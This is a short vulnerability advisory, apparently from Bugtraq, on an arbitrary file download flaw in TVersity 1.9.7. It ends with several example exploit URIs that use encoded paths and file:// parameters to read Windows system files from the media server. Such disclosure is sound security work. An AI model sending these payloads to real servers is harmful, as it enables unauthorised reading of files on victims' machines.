TVersity Arbitrary File Download Vulnerability

Bugtraq ID:	52512
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Mar 15 2012 12:00AM
Updated:	Mar 15 2012 12:00AM
Credit:	Luigi Auriemma
Vulnerable:
Not Vulnerable:

TVersity Arbitrary File Download Vulnerability

TVersity is prone to a vulnerability that lets attackers download arbitrary files because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit this issue to download arbitrary files within the context of the webserver process. Information obtained may aid in further attacks.

TVersity 1.9.7 is vulnerable; other versions may also be affected.

TVersity Arbitrary File Download Vulnerability

Attackers can use a browser to exploit this issue.

The following example URIs are available:

http://www.example.com:41952/geturl/.%3ftype%3daudio%252fmpeg%26url%3dfile://c:/windows/&ext=system.ini

http://www.example.com:41952/geturl/%2e?type=audio/mpeg&url=file://c:/windows/&ext=system.ini

http://www.example.com:41952/geturl/%2e?type=audio/mpeg&url=file://c:/windows/system.ini&ext=.

http://www.example.com:41952/geturl/system.ini.ini?type=audio/mpeg&url=file://c:/windows/&ext=.ini

http://www.example.com:41952/geturl/c:\windows\system.ini.mp3?type=audio/mpeg&url=file://&ext=.ini

TVersity Arbitrary File Download Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

TVersity Arbitrary File Download Vulnerability

References:

• TVersity <= 1.9.7 Arbitrary File Download (Luigi Auriemma)
  
• TVersity Homepage (TVersity)